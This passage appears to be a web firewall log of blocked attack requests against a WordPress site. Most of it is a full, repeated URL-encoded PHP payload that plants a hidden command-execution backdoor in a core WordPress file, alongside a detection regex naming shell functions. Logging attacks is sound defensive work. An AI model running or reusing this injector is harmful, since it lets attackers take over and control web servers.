2528function_exists%2528%2524task_processor3%2529%2529%257B%2524task_processor3%2528%2524event_dispatcher%252C%2524itm_rec%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524itm_rec%2529%253B%257Delseif%2528function_exists%2528%2524task_processor4%2529%2529%257B%2524task_processor4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor5%2529%2526%2526function_exists%2528%2524task_processor6%2529%2526%2526function_exists%2528%2524task_processor7%2529%2529%257B%2524parameter_group_res%253D%2524task_processor5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_res%2529%257B%2524k_dchunk%253D%2524task_processor6%2528%2524parameter_group_res%2529%253B%2524task_processor7%2528%2524parameter_group_res%2529%253Bprint%2520%2524k_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:7260\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnH4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\n\niN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/plural-forms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252779%2527%253B%2524val3%2520%253D%2520%252774%2527%253B%2524val4%2520%253D%2520%252765%2527%253B%2524val5%2520%253D%2520%25276c%2527%253B%2524val6%2520%253D%2520%25275f%2527%253B%2524val7%2520%253D%2520%252770%2527%253B%2524val8%2520%253D%2520%252772%2527%253B%2524val9%2520%253D%2520%252775%2527%253B%2524val10%2520%253D%2520%25276f%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252761%2527%253B%2524val13%2520%253D%2520%252767%2527%253B%2524val14%2520%253D%2520%252763%2527%253B%2524val15%2520%253D%2520%252776%2527%253B%2524val16%2520%253D%2520%252764%2527%253B%2524val17%2520%253D%2520%252768%2527%253B%2524task_processor1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val2%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%2524val4%2520.%2520%25276d%2527%2529%253B%2524task_processor2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524val4%2520.%2520%2524val5%2520.%2520%25276c%2527%2520.%2520%2524val6%2520.%2520%2524val4%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%252761%2527%2520.%2520%2524val1%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%252768%2527%2520.%2520%2524val8%2520.%2520%2524val9%2529%253B%2524task_processor5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%2524val10%2520.%2520%252770%2527%2520.%2520%2524val4%2520.%2520%2524val11%2529%253B%2524task_processor6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val3%2520.%2520%2524val8%2520.%2520%252765%2527%2520.%2520%2524val12%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524val13%2520.%2520%252765%2527%2520.%2520%2524val3%2520.%2520%2524val6%2520.%2520%252763%2527%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524val4%2520.%2520%25276e%2527%2520.%2520%2524val3%2520.%2520%252773%2527%2529%253B%2524task_processor7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524val14%2520.%2520%25276c%2527%2520.%2520%2524val10%2520.%2520%2524val1%2520.%2520%252765%2527%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val4%2520.%2520%2524val15%2520.%2520%252765%2527%2520.%2520%2524val11%2520.%2520%2524val3%2520.%2520%25275f%2527%2520.%2520%2524val16%2520.%2520%252769%2527%2520.%2520%2524val1%2520.%2520%2524val7%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%252763%2527%2520.%2520%2524val17%2520.%2520%2524val4%2520.%2520%2524val8%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524task_processor1%2529%2529%257B%2524task_processor1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor2%2529%2529%257Bprint%2520%2524task_processor2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor3%2529%2529%257B%2524task_processor3%2528%2524event_dispatcher%252C%2524itm_rec%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524itm_rec%2529%253B%257Delseif%2528function_exists%2528%2524task_processor4%2529%2529%257B%2524task_processor4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor5%2529%2526%2526function_exists%2528%2524task_processor6%2529%2526%2526function_exists%2528%2524task_processor7%2529%2529%257B%2524parameter_group_res%253D%2524task_processor5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_res%2529%257B%2524k_dchunk%253D%2524task_processor6%2528%2524parameter_group_res%2529%253B%2524task_processor7%2528%2524parameter_group_res%2529%253Bprint%2520%2524k_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:43:17","141.98.11.117","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/plural-forms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252779%2527%253B%2524val3%2520%253D%2520%252774%2527%253B%2524val4%2520%253D%2520%252765%2527%253B%2524val5%2520%253D%2520%25276c%2527%253B%2524val6%2520%253D%2520%25275f%2527%253B%2524val7%2520%253D%2520%252770%2527%253B%2524val8%2520%253D%2520%252772%2527%253B%2524val9%2520%253D%2520%252775%2527%253B%2524val10%2520%253D%2520%25276f%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252761%2527%253B%2524val13%2520%253D%2520%252767%2527%253B%2524val14%2520%253D%2520%252763%2527%253B%2524val15%2520%253D%2520%252776%2527%253B%2524val16%2520%253D%2520%252764%2527%253B%2524val17%2520%253D%2520%252768%2527%253B%2524task_processor1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val2%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%2524val4%2520.%2520%25276d%2527%2529%253B%2524task_processor2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524val4%2520.%2520%2524val5%2520.%2520%25276c%2527%2520.%2520%2524val6%2520.%2520%2524val4%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%252761%2527%2520.%2520%2524val1%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%252768%2527%2520.%2520%2524val8%2520.%2520%2524val9%2529%253B%2524task_processor5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%2524val10%2520.%2520%252770%2527%2520.%2520%2524val4%2520.%2520%2524val11%2529%253B%2524task_processor6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val3%2520.%2520%2524val8%2520.%2520%252765%2527%2520.%2520%2524val12%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524val13%2520.%2520%252765%2527%2520.%2520%2524val3%2520.%2520%2524val6%2520.%2520%252763%2527%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524val4%2520.%2520%25276e%2527%2520.%2520%2524val3%2520.%2520%252773%2527%2529%253B%2524task_processor7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524val14%2520.%2520%25276c%2527%2520.%2520%2524val10%2520.%2520%2524val1%2520.%2520%252765%2527%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val4%2520.%2520%2524val15%2520.%2520%252765%2527%2520.%2520%2524val11%2520.%2520%2524val3%2520.%2520%25275f%2527%2520.%2520%2524val16%2520.%2520%252769%2527%2520.%2520%2524val1%2520.%2520%2524val7%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%252763%2527%2520.%2520%2524val17%2520.%2520%2524val4%2520.%2520%2524val8%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524task_processor1%2529%2529%257B%2524task_processor1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor2%2529%2529%257Bprint%2520%2524task_processor2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor3%2529%2529%257B%2524task_processor3%2528%2524event_dispatcher%252C%2524itm_rec%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524itm_rec%2529%253B%257Delseif%2528function_exists%2528%2524task_processor4%2529%2529%257B%2524task_processor4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor5%2529%2526%2526function_exists%2528%2524task_processor6%2529%2526%2526function_exists%2528%2524task_processor7%2529%2529%257B%2524parameter_group_res%253D%2524task_processor5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_res%2529%257B%2524k_dchunk%253D%2524task_processor6%2528%2524parameter_group_res%2529%253B%2524task_processor7%2528%2524parameter_group_res%2529%253Bprint%2520%2524k_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:7260\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn00vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\n\nkM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/plural-forms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252779%2527%253B%2524val3%2520%253D%2520%252774%2527%253B%2524val4%2520%253D%2520%252765%2527%253B%2524val5%2520%253D%2520%25276c%2527%253B%2524val6%2520%253D%2520%25275f%2527%253B%2524val7%2520%253D%2520%252770%2527%253B%2524val8%2520%253D%2520%252772%2527%253B%2524val9%2520%253D%2520%252775%2527%253B%2524val10%2520%253D%2520%25276f%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252761%2527%253B%2524val13%2520%253D%2520%252767%2527%253B%2524val14%2520%253D%2520%252763%2527%253B%2524val15%2520%253D%2520%252776%2527%253B%2524val16%2520%253D%2520%252764%2527%253B%2524val17%2520%253D%2520%252768%2527%253B%2524task_processor1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val2%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%2524val4%2520.%2520%25276d%2527%2529%253B%2524task_processor2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524val4%2520.%2520%2524val5%2520.%2520%25276c%2527%2520.%2520%2524val6%2520.%2520%2524val4%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%252761%2527%2520.%2520%2524val1%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%252768%2527%2520.%2520%2524val8%2520.%2520%2524val9%2529%253B%2524task_processor5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%2524val10%2520.%2520%252770%2527%2520.%2520%2524val4%2520.%2520%2524val11%2529%253B%2524task_processor6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val3%2520.%2520%2524val8%2520.%2520%252765%2527%2520.%2520%2524val12%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524val13%2520.%2520%252765%2527%2520.%2520%2524val3%2520.%2520%2524val6%2520.%2520%252763%2527%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524val4%2520.%2520%25276e%2527%2520.%2520%2524val3%2520.%2520%252773%2527%2529%253B%2524task_processor7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524val14%2520.%2520%25276c%2527%2520.%2520%2524val10%2520.%2520%2524val1%2520.%2520%252765%2527%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val4%2520.%2520%2524val15%2520.%2520%252765%2527%2520.%2520%2524val11%2520.%2520%2524val3%2520.%2520%25275f%2527%2520.%2520%2524val16%2520.%2520%252769%2527%2520.%2520%2524val1%2520.%2520%2524val7%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%252763%2527%2520.%2520%2524val17%2520.%2520%2524val4%2520.%2520%2524val8%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524task_processor1%2529%2529%257B%2524task_processor1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor2%2529%2529%257Bprint%2520%2524task_processor2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor3%2529%2529%257B%2524task_processor3%2528%2524event_dispatcher%252C%2524itm_rec%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524itm_rec%2529%253B%257Delseif%2528function_exists%2528%2524task_processor4%2529%2529%257B%2524task_processor4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor5%2529%2526%2526function_exists%2528%2524task_processor6%2529%2526%2526function_exists%2528%2524task_processor7%2529%2529%257B%2524parameter_group_res%253D%2524task_processor5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_res%2529%257B%2524k_dchunk%253D%2524task_processor6%2528%2524parameter_group_res%2529%253B%2524task_processor7%2528%2524parameter_group_res%2529%253Bprint%2520%2524k_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:43:22","46.62.254.35","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/plural-forms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252779%2527%253B%2524val3%2520%253D%2520%252774%2527%253B%2524val4%2520%253D%2520%252765%2527%253B%2524val5%2520%253D%2520%25276c%2527%253B%2524val6%2520%253D%2520%25275f%2527%253B%2524val7%2520%253D%2520%252770%2527%253B%2524val8%2520%253D%2520%252772%2527%253B%2524val9%2520%253D%2520%252775%2527%253B%2524val10%2520%253D%2520%25276f%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252761%2527%253B%2524val13%2520%253D%2520%252767%2527%253B%2524val14%2520%253D%2520%252763%2527%253B%2524val15%2520%253D%2520%252776%2527%253B%2524val16%2520%253D%2520%252764%2527%253B%2524val17%2520%253D%2520%252768%2527%253B%2524task_processor1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val2%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%2524val4%2520.%2520%25276d%2527%2529%253B%2524task_processor2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524val4%2520.%2520%2524val5%2520.%2520%25276c%2527%2520.%2520%2524val6%2520.%2520%2524val4%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%252761%2527%2520.%2520%2524val1%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%252768%2527%2520.%2520%2524val8%2520.%2520%2524val9%2529%253B%2524task_processor5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%2524val10%2520.%2520%252770%2527%2520.%2520%2524val4%2520.%2520%2524val11%2529%253B%2524task_processor6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val3%2520.%2520%2524val8%2520.%2520%252765%2527%2520.%2520%2524val12%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524val13%2520.%2520%252765%2527%2520.%2520%2524val3%2520.%2520%2524val6%2520.%2520%252763%2527%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524val4%2520.%2520%25276e%2527%2520.%2520%2524val3%2520.%2520%252773%2527%2529%253B%2524task_processor7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524val14%2520.%2520%25276c%2527%2520.%2520%2524val10%2520.%2520%2524val1%2520.%2520%252765%2527%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val4%2520.%2520%2524val15%2520.%2520%252765%2527%2520.%2520%2524val11%2520.%2520%2524val3%2520.%2520%25275f%2527%2520.%2520%2524val16%2520.%2520%252769%2527%2520.%2520%2524val1%2520.%2520%2524val7%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%252763%2527%2520.%2520%2524val17%2520.%2520%2524val4%2520.%2520%2524val8%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524task_processor1%2529%2529%257B%2524task_processor1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor2%2529%2529%257Bprint%2520%2524task_processor2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor3%2529%2529%257B%2524task_processor3%2528%2524event_dispatcher%252C%2524itm_rec%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524itm_rec%2529%253B%257Delseif%2528function_exists%2528%2524task_processor4%2529%2529%257B%2524task_processor4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor5%2529%2526%2526function_exists%2528%2524task_processor6%2529%2526%2526function_exists%2528%2524task_processor7%2529%2529%257B%2524parameter_group_res%253D%2524task_processor5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_res%2529%257B%2524k_dchunk%253D%2524task_processor6%2528%2524parameter_group_res%2529%253B%2524task_processor7%2528%2524parameter_group_res%2529%253Bprint%2520%2524k_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27